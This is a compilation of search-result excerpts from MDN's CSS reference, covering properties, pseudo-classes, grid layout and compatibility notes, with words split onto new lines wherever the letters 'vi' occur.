vised the guidelines to their fundamental core, and came up with a surprisingly simple, but powerful test.
-moz-context-properties - CSS: Cascading Style Sheets
the -moz-context-properties property can be used within pri
vileged contexts in firefox to share the values of specified properties of the element with a child svg image.
...tp://www.w3.org/2000/svg'> <rect width='100%' height='100%' stroke-width='30px' fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/></svg>"> here we've set the image src to a data uri containing a simple svg image; the <rect> inside has been made to take its fill and stroke values from the fill and stroke set on the <img> element by gi
ving them the context-fill/context-stroke keywords in their values, along with a fallback color for the fill (red) which will be used in the case that the svg is loaded standalone in a top-level window (where it will have no context element to pro
vide context values).
-webkit-mask-box-image - CSS: Cascading Style Sheets
initial value: none applies to: all elements inherited: no media:
visual computed value: as specified syntax -webkit-mask-box-image: <mask-box-image> [<top> <right> <bottom> <left> <x-repeat> <y-repeat>] where: <mask-box-image> <uri> | <gradient> | none <top> <right> <bottom> <left> <length> | <percentage> <x-repeat> <y-repeat> repeat | stretch | round | space values <uri> the location of the image resource to be used as a mask image.
...may include a partial image if the mask image does not di
vide evenly into the border box.
:-moz-window-inactive - CSS: Cascading Style Sheets
note: prior to the addition of this pseudo-class, gi
ving different styles to background windows was achieved by setting an attribute (active="true") on the top-level xul chrome window.
...you can
view this as a separate page as well.
::cue-region - CSS: Cascading Style Sheets
the only exception is that background and its shorthand properties apply to each cue indi
vidually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
...ground-origin background-position background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow
visibility white-space specifications specification status comment webvtt: the web
video text tracks formatthe definition of 'the ::cue-region pseudo-element' in that specification.
::placeholder - CSS: Cascading Style Sheets
it is important to ensure that the contrast ratio between the color of the placeholder text and the background of the input is high enough that people experiencing low
vision conditions will be able to read it while also making sure there is enough of a difference between the placeholder text and input text color that users do not mistake the placeholder for inputed data.
... an alternate approach to pro
viding placeholder information is to include it outside of the input in close
visual proximity, then use aria-describedby to programmatically associate the <input> with its hint.
:default - CSS: Cascading Style Sheets
or="summer">summer</label> <input type="radio" name="season" id="fall"> <label for="fall">fall</label> <input type="radio" name="season" id="winter"> <label for="winter">winter</label> </fieldset> css input:default { box-shadow: 0 0 2px 1px coral; } input:default + label { color: coral; } result specifications specification status comment html li
ving standardthe definition of ':default' in that specification.
... li
ving standard no change.
:disabled - CSS: Cascading Style Sheets
g; }, false); function togglebilling() { // select the billing text fields var billingitems = document.queryselectorall('#billing input[type="text"]'); // toggle the billing text fields for (var i = 0; i < billingitems.length; i++) { billingitems[i].disabled = !billingitems[i].disabled; } } result specifications specification status comment html li
ving standardthe definition of ':disabled' in that specification.
... li
ving standard no change.
:empty - CSS: Cascading Style Sheets
all interactive content must have an accessible name, which is created by pro
viding a text value for the interactive control's parent element (anchors, buttons, etc.).
... the text that pro
vides the interactive control's accessible name can be hidden using a combination of properties that remove it
visually from the screen but keep it parseable by assistive technology.
:enabled - CSS: Cascading Style Sheets
type="text" id="firstfield" value="lorem"><br> <label for="secondfield">second field (disabled):</label> <input type="text" id="secondfield" value="ipsum" disabled="disabled"><br> <input type="button" value="submit"> </form> css input:enabled { color: #2b2; } input:disabled { color: #aaa; } result specifications specification status comment html li
ving standardthe definition of ':enabled' in that specification.
... li
ving standard no change.
:host-context() - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:host-context()chrome full support 54edge full support 79firefox no support nonotes no support nonotes notes see bug 1082060.ie ...
... no support noopera full support 41safari no support noweb
view android full support 54chrome android full support 54firefox android no support nonotes no support nonotes notes see bug 1082060.opera android full support 41safari ios no support nosamsung internet android full support 6.0legend full support f...
:indeterminate - CSS: Cascading Style Sheets
var inputs = document.getelementsbytagname("input"); for (var i = 0; i < inputs.length; i++) { inputs[i].indeterminate = true; } progress bar html <progress> css progress { margin: 4px; } progress:indeterminate { opacity: 0.5; background-color: lightgray; box-shadow: 0 0 2px 1px red; } result specifications specification status comment html li
ving standardthe definition of ':indeterminate' in that specification.
... li
ving standard no change.
negative - CSS: Cascading Style Sheets
when defining custom counter styles, the negative descriptor lets you alter the representations of negative counter values, by pro
viding a way to specify symbols to be appended or prepended to the counter representation when the value is negative.
... description if the counter value is negative, the symbol pro
vided as value for the descriptor is prepended to the counter representation; and a second symbol if specified, will be appended to the representation.
font-display - CSS: Cascading Style Sheets
the timeline is di
vided into the three periods below which dictate the rendering beha
vior of any elements using the font face.
... font block period if the font face is not loaded, any element attempting to use it must render an in
visible fallback font face.
@import - CSS: Cascading Style Sheets
so that user agents can avoid retrie
ving resources for unsupported media types, authors may specify media-dependent @import rules.
... css level 2 (re
vision 1)the definition of '@import' in that specification.
overflow-block - CSS: Cascading Style Sheets
the overflow-block css media feature can be used to test how the output de
vice handles content that overflows the initial containing block along the block axis.
... optional-paged content that overflows the block axis can be seen by scrolling to it, but page breaks can be manually triggered (such as
via break-inside, etc.) to cause the following content to display on the following page.
shape - CSS: Cascading Style Sheets
the shape css media feature can be used to test the shape of the de
vice to distinguish recrangular and round displays.
... examples basic example html <h1>hello world!</h1> css h1 { text-align: left; } @media (shape: rect) { h1 { text-align: left; } } @media (shape: round) { h1 { text-align: center; } } custom stylesheet this html will apply a special stylesheet for de
vices that have round screens.
max-zoom - CSS: Cascading Style Sheets
the max-zoom css descriptor sets the maximum zoom factor of a document defined by the @
viewport at-rule.
... formal definition related at-rule@
viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting max-zoom @
viewport { max-zoom: 1.5; } specifications specification status comment css de
vice adaptationthe definition of '"max-zoom" descriptor' in that specification.
min-zoom - CSS: Cascading Style Sheets
the min-zoom css descriptor sets the minimum zoom factor of a document defined by the @
viewport at-rule.
... formal definition related at-rule@
viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting min zoom factor @
viewport { min-zoom: 2.0; } specifications specification status comment css de
vice adaptationthe definition of '"min-zoom" descriptor' in that specification...
zoom - CSS: Cascading Style Sheets
the zoom css descriptor sets the initial zoom factor of a document defined by the @
viewport at-rule.
... formal definition related at-rule@
viewportinitial valueautopercentagesthe zoom factor itselfcomputed valueauto, or a non-negative number or percentage as specified formal syntax auto | <number> | <percentage> examples setting
viewport zoom factor @
viewport { zoom: 2.0; } specifications specification status comment css de
vice adaptationthe definition of '"zoom" descriptor' in that specification.
Mastering margin collapsing - CSS: Cascading Style Sheets
the top and bottom margins of blocks are sometimes combined (collapsed) into a single margin whose size is the largest of the indi
vidual margins (or just one of them, if they are equal), a beha
vior known as margin collapsing.
...t and the text above.</p> <p>my bottom margin collapses with my parent, yielding a bottom margin of <code>2rem</code>.</p> </div> <p>i am <code>2rem</code> below the element above.</p> css div { margin: 2rem 0; background: lavender; } p { margin: .4rem 0 1.2rem 0; background: yellow; } result specifications specification status comment css level 2 (re
vision 1)the definition of 'margin collapsing' in that specification.
CSS Multi-column Layout - CSS: Cascading Style Sheets
support is included for establishing the number of columns in a layout, as well as how content should flow from column to column, gap sizes between columns, and column di
viding lines (known as column rules) along with their appearance.
... reference multiple-column layout properties column-count column-fill column-gap column-rule column-rule-color column-rule-style column-rule-width column-span column-width columns related css fragmentation properties break-after break-before break-inside orphans widows guides basic concepts of multicol an over
view of the multiple-column layout specification styling columns how to use column rules and manage the spacing between columns.
CSS Display - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'display' in that specification.
... in addition to the css display specification level 3, further specifications define the beha
vior of various values of display.
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
we need a new reference point, and this is where understanding the block and inline axes, that we met pre
viously in the guide to alignment, becomes very useful.
...in default writing mode, grid auto-places items starting at the top left, mo
ving along to the right, filling up the three cells on the inline axis.
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
addressing each item indi
vidually we can place all four items spanning row and column tracks.
...one of the very nice things about grid layout is this ability to have white space in our designs without ha
ving to push things around using margins to prevent floats from rising up into the space we have left.
CSS Grid Layout - CSS: Cascading Style Sheets
css grid layout excels at di
viding a page into major regions or defining the relationship in terms of size, position, and layer, between parts of a control built from html primitives.
...ayout using named grid lines auto-placement in css grid layout box alignment in css grid layout css grid, logical values and writing modes css grid layout and accessibility css grid and progressive enhancement realising common layouts using css grid subgrid external resources css grid and ie11 (polyfill) examples from jen simmons grid by example - a collection of usage examples and
video tutorials codrops grid reference firefox devtools css grid inspector css grid playground grid garden - a game for learning css grid specifications specification status comment css grid layout module level 2 working draft added subgrids.
CSS Images - CSS: Cascading Style Sheets
li
ving standard standardizes the -webkit prefixed gradient value functions css values and units module level 3the definition of '<url>' in that specification.
... candidate recommendation css level 2 (re
vision 1)the definition of '<uri>' in that specification.
Consistent list indentation - CSS: Cascading Style Sheets
visually, the markers are outside the content area of the <ul>, but that's not the important part here.
...if the parent is the body, there's a strong chance your bullets will be completely outside the browser window, and thus will not be
visible.
Basic concepts of Logical Properties and Values - CSS: Cascading Style Sheets
therefore we describe boxes as ha
ving a width and height, position items from the top and left, float things left, assign borders, margin, and padding to the top, right, bottom, left, etc.
...these mapped properties are starting to see good browser support, and if you look at the indi
vidual pages for the properties in the reference here on mdn you will see that edge is the only modern browser currently missing these.
Stacking with floated blocks - CSS: Cascading Style Sheets
this happens according to standard float beha
viour.
... this beha
vior can be shown with an added rule to the above list: the background and borders of the root element descendant non-positioned blocks, in order of appearance in the html floating blocks descendant non-positioned inline elements descendant positioned elements, in order of appearance in the html note: if an opacity value is applied to the non-positioned block (div #4), then something strange happens: the background and border of that block pops up above the floating blocks and the positioned blocks.
Stacking context example 2 - CSS: Cascading Style Sheets
there are the same four divs of the pre
vious example, but now z-index properties are assigned on both levels of the hierarchy.
...div #4 belongs to the stacking context created by div #3, and as explained pre
viously div #3 (and all its content) is under div #2.
CSS Ruby Layout - CSS: Cascading Style Sheets
css ruby layout is a module of css that pro
vides the rendering model and formatting controls related to the display of ruby annotation.
...they are typically used in east asian documents to indicate pronunciation or to pro
vide a short annotation.
CSS selectors - CSS: Cascading Style Sheets
example: a:
visited will match all <a> elements that have been
visited by the user.
...additional attribute selectors css level 2 (re
vision 1) recommendation added the > child and + adjacent sibling combinators.
CSS Text Decoration - CSS: Cascading Style Sheets
be careful when remo
ving the text decoration on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specif...
...ication status comment css text decoration module level 4 working draft css text decoration module level 3 candidate recommendation css level 2 (re
vision 1) recommendation css level 1 recommendation initial definition ...
CSS Transforms - CSS: Cascading Style Sheets
reference properties backface-
visibility perspective perspective-origin rotate scale transform transform-box transform-origin transform-style translate data types <transform-function> guides using css transforms step-by-step tutorial about how to transform elements styled with css.
... css transforms level 2 editor's draft adds indi
vidual transforms.
Inline formatting context - CSS: Cascading Style Sheets
this article explains the inline formatting context core concepts the inline formatting context is part of the
visual rendering of a web page.
... when an inline box is split, margins, borders, and padding have no
visual effect where the split occurs.
Grid wrapper - CSS: Cascading Style Sheets
using a numeric unit (pixels, ems, rems) will create a fixed maximum size for the central wrapper, whereas using percentage values or
viewport units will mean this wrapper grows or shrinks in response to its context.
...t auto margins to center the content horizontally: .grid { max-width: 1200px; margin: 0 auto; // horizontally centers the container } /* remove the max-width and margins if the browser supports grid */ @supports (display: grid) { .grid { display: grid; /* other grid code goes here */ max-width: none; margin: 0; } } to “break out” a full-width item to the edge of the
viewport you can then use this trick (courtesy of una kravets): .item { width: 100vw; margin-left: 50%; transform: translate3d(-50%, 0, 0); } this gives a good approximation of the layout, only without the benefit of being able to align items easily on an exact grid.
Tools - CSS: Cascading Style Sheets
css offers a number of powerful features that can be tricky to use, or have a number of parameters, so that it's helpful to be able to
visualize them while you work on them.
... other tools css animation - stylie to check the de
vice display information (helpful in responsive web design) - myde
vice.io css menus - cssmenumaker.com a mighty, modern css linter that helps you enforce consistent conventions and avoid errors in your stylesheets - stylelint ...
Actual value - CSS: Cascading Style Sheets
finally, the used value is transformed according to the limitations of the local en
vironment, resulting in the actual value.
... specifications specification status comment css level 2 (re
vision 1)the definition of 'actual value' in that specification.
align-self - CSS: Cascading Style Sheets
for grid items, this keyword leads to a beha
vior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
...its beha
vior depends on the layout model, as described for justify-self.
animation-timing-function - CSS: Cascading Style Sheets
timing-function: steps(5, jump-both); animation-timing-function: steps(6, start); animation-timing-function: steps(8, end); /* multiple animations */ animation-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1); /* global values */ animation-timing-function: inherit; animation-timing-function: initial; animation-timing-function: unset; timing functions may be specified on indi
vidual keyframes in a @keyframes rule.
...the step timing functions di
vides the input time into a specified number of intervals that are equal in length.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
value browser description button-arrow-down firefox removed in firefox 64 button-arrow-next firefox removed in firefox 64 button-arrow-pre
vious firefox removed in firefox 64 button-arrow-up firefox removed in firefox 64 button-focus firefox removed in firefox 64 dualbutton firefox removed in firefox 64 groupbox firefox removed in firefox 64 menuarrow firefox removed in firefox 64 menubar firefox removed in firefo...
... tree
view firefox removed in firefox 64.
background-clip - CSS: Cascading Style Sheets
if the element has no background-image or background-color, this property will only have a
visual effect when the border has transparent regions or partially opaque regions (due to border-style or border-image); otherwise, the border masks the difference.
...x> = border-box | padding-box | content-box examples html <p class="border-box">the background extends behind the border.</p> <p class="padding-box">the background extends to the inside edge of the border.</p> <p class="content-box">the background extends only to the edge of the content box.</p> <p class="text">the background is clipped to the foreground text.</p> css p { border: .8em dark
violet; border-style: dotted double; margin: 1em 0; padding: 1.4em; background: linear-gradient(60deg, red, yellow, red, yellow, red); font: 900 1.2em sans-serif; text-decoration: underline; } .border-box { background-clip: border-box; } .padding-box { background-clip: padding-box; } .content-box { background-clip: content-box; } .text { background-clip: text; -webkit-background-cl...
background - CSS: Cascading Style Sheets
accessibility concerns browsers do not pro
vide any special information on background images to assistive technology.
... css level 2 (re
vision 1)the definition of 'background' in that specification.
border-color - CSS: Cascading Style Sheets
each side can be set indi
vidually using border-top-color, border-right-color, border-bottom-color, and border-left-color; or using the writing mode-aware border-block-start-color, border-block-end-color, border-inline-start-color, and border-inline-end-color.
... css level 2 (re
vision 1)the definition of 'border-color' in that specification.
border-image-slice - CSS: Cascading Style Sheets
the border-image-slice css property di
vides the image specified by border-image-source into regions.
...however, we have also pro
vided two sliders to allow you to dynamically change the values of the above two properties, allowing you to appreciate the effect they have: border-image-slice changes the size of the image slice sampled for use in each border and border corner (and the content area, if the fill keyword is used) — varying this away from 30 causes the border to look somewhat irregular, but can have some interesti...
box-shadow - CSS: Cascading Style Sheets
to specify multiple shadows, pro
vide a comma-separated list of shadows.
... interpolation each shadow in the list (treating none as a 0-length list) is interpolated
via the color (as color) component, and x, y, blur, and (when appropriate) spread (as length) components.
clip - CSS: Cascading Style Sheets
the clip css property defines a
visible portion of an element.
... css level 2 (re
vision 1)the definition of 'clip' in that specification.
column-count - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcolumn-countchrome full support 50 full support 50 full support 1prefixed prefixed implemented with the vendor prefix: -webkit-edge full support ...
... 11.1 full support 15prefixed prefixed implemented with the vendor prefix: -webkit-safari full support 9 full support 9 full support 3prefixed prefixed implemented with the vendor prefix: -webkit-web
view android full support 50 full support 50 full support ≤37prefixed prefixed implemented with the vendor prefix: -webkit-chrome android full support 50 full support 50 ...
column-rule - CSS: Cascading Style Sheets
it is a shorthand property that sets the indi
vidual column-rule-* properties in a single, convenient declaration: column-rule-width, column-rule-style, and column-rule-color.
... note: as with all shorthand properties, any indi
vidual value that is not specified is set to its corresponding initial value (possibly overriding values pre
viously set using non-shorthand properties).
column-width - CSS: Cascading Style Sheets
the container will have as many columns as can fit without any of them ha
ving a width less than the column-width value.
... candidate recommendation adds intrinsic sizes
via the keywords min-content, max-content, fill-available, and fit-content.
Computed value - CSS: Cascading Style Sheets
specifications specification status comment css level 2 (re
vision 2)the definition of 'computed-value' in that specification.
... css level 2 (re
vision 1)the definition of 'computed value' in that specification.
counter() - CSS: Cascading Style Sheets
/* simple usage */ counter(countername); /* changing the counter display */ counter(countername, upper-roman) a counter has no
visible effect by itself.
... working draft no change css level 2 (re
vision 1)the definition of 'css counters' in that specification.
counters() - CSS: Cascading Style Sheets
/* simple usage - style defaults to decimal */ counters(countername, '-'); /* changing the counter display */ counters(countername, '.', upper-roman) a counter has no
visible effect by itself.
... working draft no change css level 2 (re
vision 1)the definition of 'css counters' in that specification.
font - CSS: Cascading Style Sheets
as with any shorthand property, any indi
vidual value that is not specified is set to its corresponding initial value (possibly overriding values pre
viously set using non-shorthand properties).
... css level 2 (re
vision 1)the definition of 'font-weight' in that specification.
grid-template-columns - CSS: Cascading Style Sheets
<length> a non-negative length, gi
ving the width of the column.
... formal definition initial valuenoneapplies togrid containersinheritednopercentagesrefer to corresponding dimension of the content areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typesimple list of length, percentage, or calc, pro
vided the only differences are in the values of the length, percentage, or calc components in the list formal syntax none | <track-list> | <auto-track-list> | subgrid <line-name-list>?where <track-list> = [ <line-names>?
grid-template - CSS: Cascading Style Sheets
note: the repeat() function isn’t allowed in these track listings, as the tracks are intended to
visually line up one-to-one with the rows/columns in the “ascii art”.
... [main-right] [footer-left] "nav foot" 30px [footer-right] / 120px 1fr; } header { background-color: lime; grid-area: head; } nav { background-color: lightblue; grid-area: nav; } main { background-color: yellow; grid-area: main; } footer { background-color: red; grid-area: foot; } html <section id="page"> <header>header</header> <nav>na
vigation</nav> <main>main area</main> <footer>footer</footer> </section> result specifications specification status comment css grid layoutthe definition of 'grid-template' in that specification.
grid - CSS: Cascading Style Sheets
sets up an auto-flow by setting the row tracks explicitly
via the grid-template-rows property (and the grid-template-columns property to none) and specifying how to auto-repeat the column tracks
via grid-auto-columns (and setting grid-auto-rows to auto).
.../ <'grid-template-columns'> sets up an auto-flow by setting the column tracks explicitly
via the grid-template-columns property (and the grid-template-rows property to none) and specifying how to auto-repeat the row tracks
via grid-auto-rows (and setting grid-auto-columns to auto).
image-rendering - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | crisp-edges | pixelated examples setting image scaling algorithms in practical use, the pixelated and crisp-edges rules can be combined to pro
vide some fallback for each other.
... (just prepend the actual rules with the fallback.) the canvas api can pro
vide a fallback solution for pixelated through manual image data manipulation or with imagesmoothingenabled.
ime-mode - CSS: Cascading Style Sheets
this property should only be used for private web applications or to undo the property if it was pre
viously set by legacy code.
...users may correct the inappropriate beha
vior of sites that don't follow this recommendation by placing the following css into their user stylesheet: input[type=password] { ime-mode: auto !important; } the mac version of gecko 1.9 (firefox 3) can't recover the pre
vious state of the ime when a field for which it is disabled loses focus, so mac users may get grumpy when you use the disabled value.
initial - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitialchrome full support 1edge full support 13firefox full support 19 full support 19 no support 1 — 24pr...
...efixed prefixed implemented with the vendor prefix: -moz-ie no support noopera full support 15safari full support 1.2web
view android full support 1chrome android full support 18firefox android full support 19 full support 19 no support 4 — 24prefixed prefixed implemented with the vendor prefix: -moz-opera android full support 14safari ios full support 1samsung intern...
justify-items - CSS: Cascading Style Sheets
the css justify-items property defines the default justify-self for all items of the box, gi
ving them all a default way of justifying each box along the appropriate axis.
... in grid layouts, this keyword leads to a beha
vior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
linear-gradient() - CSS: Cascading Style Sheets
subsequent color stops of lower value will override the value of the pre
vious color stop creating a hard transition.
... 45-degree angle body { width: 100vw; height: 100vh; } body { background: linear-gradient(45deg, red, blue); } gradient that starts at 60% of the gradient line body { width: 100vw; height: 100vh; } body { background: linear-gradient(135deg, orange 60%, cyan); } gradient with multi-position color stops this example uses multi-position color stops, with adjacent colors ha
ving the same color stop value, creating a striped effect.
list-style-position - CSS: Cascading Style Sheets
note that there is variance among browsers regarding beha
vior when a block element is placed first within a list element declared as list-style-position: inside.
... css level 2 (re
vision 1)the definition of 'list-style-position' in that specification.
list-style-type - CSS: Cascading Style Sheets
non-standard extensions a few more predefined types are pro
vided by mozilla (firefox), blink (chrome and opera) and webkit (safari) to support list types in other languages.
... css level 2 (re
vision 1)the definition of 'list-style-type' in that specification.
mask-border-slice - CSS: Cascading Style Sheets
the mask-border-slice css property di
vides the image set by mask-border-source into regions.
... note: the fill keyword needs to be included if you want the element's content to be
visible.
mask-repeat - CSS: Cascading Style Sheets
l two-value syntax: single value two-value equivalent repeat-x repeat no-repeat repeat-y no-repeat repeat repeat repeat repeat space space space round round round no-repeat no-repeat no-repeat in the two-value syntax, the first value represents the horizontal repetition beha
vior and the second value represents the vertical beha
vior.
... round as the allowed space increases in size, the repeated images will stretch (lea
ving no gaps) until there is room for another one to be added.
mask - CSS: Cascading Style Sheets
it is therefore recommended to use the mask shorthand rather than other shorthands or the indi
vidual properties to override any mask settings earlier in the cascade.
...| [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<bg-size> = [ <length-percentage> | auto ]{1,2} | cover | contain<repeat-style> = repeat-x | repeat-y | [ repeat | space | round | no-repeat ]{1,2}<geometry-box> = <shape-box> | fill-box | stroke-box |
view-box<compositing-operator> = add | subtract | intersect | exclude<masking-mode> = alpha | luminance | match-sourcewhere <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient><mask-source> = <url><length-percentage> = <length> | <percentage><shape-box> = <box> | margin-boxwhere <image()> = image( <image-tags>?
offset-anchor - CSS: Cascading Style Sheets
the offset-anchor css property specifies the point inside the box of an element travelling along an offset-path that is actually mo
ving along the path.
... each <section> has been styled with a linear gradient to give it a horizontal line running through its center, to give you a
visual display of where the <div>'s offset paths are running.
offset-path - CSS: Cascading Style Sheets
<string> )<basic-shape> = <inset()> | <circle()> | <ellipse()> | <polygon()> | <path()><geometry-box> = <shape-box> | fill-box | stroke-box |
view-boxwhere <length-percentage> = <length> | <percentage><fill-rule> = nonzero | evenodd<inset()> = inset( <length-percentage>{1,4} [ round <'border-radius'> ]?
... <svg xmlns="http://www.w3.org/2000/svg" width="700" height="450"
viewbox="350 0 1400 900"> <title>house and scissors</title> <rect x="595" y="423" width="610" height="377" fill="blue" /> <polygon points="506,423 900,190 1294,423" fill="yellow" /> <polygon points="993,245 993,190 1086,190 1086,300" fill="red" /> <path id="house" d="m900,190 l993,245 v201 a11,11 0 0,1 1004,190 h1075 a11,11 0 0,1 1086,2...
perspective-origin - CSS: Cascading Style Sheets
the perspective-origin css property determines the position at which the
viewer is looking.
...tom; } .pobr { perspective-origin: bottom right; } .po200200neg { perspective-origin: -200% -200%; } .po200200pos { perspective-origin: 200% 200%; } .po200200 { perspective-origin: 200% -200%; } /* define the container div, the cube div, and a generic face */ .container { width: 100px; height: 100px; margin: 24px; border: none; } .cube { width: 100%; height: 100%; backface-
visibility:
visible; perspective: 300px; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { background: rgba(0, 0, 0, 0.3); transform: translatez(50px); } ...
perspective - CSS: Cascading Style Sheets
<length> a <length> gi
ving the distance from the user to the z=0 plane.
...rthand classes for different perspective values */ .pers250 { perspective: 250px; } .pers350 { perspective: 350px; } .pers500 { perspective: 500px; } .pers650 { perspective: 650px; } /* define the container div, the cube div, and a generic face */ .container { width: 200px; height: 200px; margin: 75px 0 0 75px; border: none; } .cube { width: 100%; height: 100%; backface-
visibility:
visible; perspective-origin: 150% 150%; transform-style: preserve-3d; } .face { display: block; position: absolute; width: 100px; height: 100px; border: none; line-height: 100px; font-family: sans-serif; font-size: 60px; color: white; text-align: center; } /* define each face based on direction */ .front { background: rgba(0, 0, 0, 0.3); transform: translate...
radial-gradient() - CSS: Cascading Style Sheets
a percentage of 0%, or a length of 0, represents the center of the gradient; the value 100% represents the intersection of the ending shape with the
virtual gradient ray.
... color-stop points are positioned on a
virtual gradient ray that extends horizontally from the center towards the right.
repeat() - CSS: Cascading Style Sheets
(this can result in all tracks being collapsed, if they’re all empty.) a collapsed track is treated as ha
ving a single fixed track sizing function of 0px, and the gutters on either side of it collapse.
... for the purpose of finding the number of auto-repeated tracks, the user agent floors the track size to a user agent specified value (e.g., 1px), to avoid di
vision by zero.
resize - CSS: Cascading Style Sheets
resize does not apply to the following: inline elements block elements for which the overflow property is set to
visible formal definition initial valuenoneapplies toelements with overflow other than
visible, and optionally replaced elements representing images or
videos, and iframesinheritednocomputed valueas specifiedanimation typediscrete formal syntax none | both | horizontal | vertical | block | inline examples disabling resizability of textareas in many browsers, <textarea> elements are resizable...
...you may override this beha
vior with the resize property.
scroll-snap-destination - CSS: Cascading Style Sheets
the scroll-snap-destination css property defines the position in x and y coordinates within the scroll container's
visual
viewport which element snap points align with.
... /* <position> value */ scroll-snap-destination: 400px 600px; /* global values */ scroll-snap-destination: inherit; scroll-snap-destination: initial; scroll-snap-destination: unset; syntax values <position> specifies the offset of the snap destination from the start edge of the scroll container’s
visual
viewport.
shape-outside - CSS: Cascading Style Sheets
by default, inline content wraps around its margin box; shape-outside pro
vides a way to customize this wrapping, making it possible to wrap text around complex objects rather than simple boxes.
...the shape includes any curvature created by the border-radius property (beha
vior which is similar to background-clip).
Specified value - CSS: Cascading Style Sheets
however, the border is not an inheriting property.</p> </div> css .fun { border: 1px dotted pink; font-family: fantasy; } p { color: green; } result specifications specification status comment css level 2 (re
vision 2)the definition of 'cascaded value' in that specification.
... working draft css level 2 (re
vision 1)the definition of 'cascaded value' in that specification.
<string> - CSS: Cascading Style Sheets
candidate recommendation no significant change from css level 2 (re
vision 1).
... css level 2 (re
vision 1)the definition of '<string>' in that specification.
table-layout - CSS: Cascading Style Sheets
this can speed up rendering time over the "automatic" layout method, but subsequent cell content might not fit in the column widths pro
vided.
...schweitzer</td></tr> <tr><td>jane</td><td>fonda</td></tr> <tr><td>william</td><td>shakespeare</td></tr> </table> css table { table-layout: fixed; width: 120px; border: 1px solid red; } td { border: 1px solid blue; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } result specifications specification status comment css level 2 (re
vision 1)the definition of 'table-layout' in that specification.
text-decoration-color - CSS: Cascading Style Sheets
css does not pro
vide a direct mechanism for specifying a unique color for each line type.
... accessibility concerns it is important to ensure that the contrast ratio between the color of the text, the background the text is placed over, and the text decoration line is high enough that people experiencing low
vision conditions will be able to read the content of the page.
text-decoration - CSS: Cascading Style Sheets
be careful when remo
ving the text decoration on anchors since users often depend on the underline to denote hyperlinks.</p> <p class="underover">this text has lines above <em>and</em> below it.</p> <p class="thick">this text has a really thick purple underline in supporting browsers.</p> <p class="blink">this text might blink for you, depending on the browser you use.</p> specifications specif...
... css level 2 (re
vision 1)the definition of 'text-decoration' in that specification.
text-indent - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'text-indent' in that specification.
... recommendation the beha
vior with display: inline-block and anonymous block boxes is explicitly defined.
text-rendering - CSS: Cascading Style Sheets
the text-rendering css property pro
vides information to the rendering engine about what to optimize for when rendering text.
... one very
visible effect is optimizelegibility, which enables ligatures (ff, fi, fl, etc.) in text smaller than 20px for some fonts (for example, microsoft's calibri, candara, constantia, and corbel, or the dejavu font family).
perspective() - CSS: Cascading Style Sheets
the perspective() css function defines a transformation that sets the distance between the user and the z=0 plane, the perspective from which the
viewer would be if the 2-dimensional interface were 3-dimensional.
...the z=0 plane is the plane where everything appears in a 2-dimensional
view, or the screen.
transform-style - CSS: Cascading Style Sheets
we also pro
vide a checkbox allowing you to toggle between this, and transform-style: flat.
... <label for="preserve"><code>preserve-3d</code></label> <input type="checkbox" id="preserve" checked> </div> css #example-element { margin: 50px; width: 100px; height: 100px; transform-style: preserve-3d; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-
visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(...
transform - CSS: Cascading Style Sheets
it modifies the coordinate space of the css
visual formatting model.
...if you need to include such animations on your website, you should pro
vide a control to allow users to turn off animations, preferrably site-wide.
unicode-bidi - CSS: Cascading Style Sheets
isolate-override this keyword applies the isolation beha
vior of the isolate keyword to the surrounding content and the override beha
vior of the bidi-override keyword to the inner content.
... css level 2 (re
vision 1)the definition of 'unicode-bidi' in that specification.
url() - CSS: Cascading Style Sheets
candidate recommendation no significant change from css level 2 (re
vision 1).
... css level 2 (re
vision 1)the definition of 'uri()' in that specification.
Used value - CSS: Cascading Style Sheets
mputed value and used value: (taken from css 2.1 changes: specified, computed, and actual values): background-position bottom, left, right, top height, width margin-bottom, margin-left, margin-right, margin-top min-height, min-width padding-bottom, padding-left, padding-right, padding-top text-indent specification specification status comment css level 2 (re
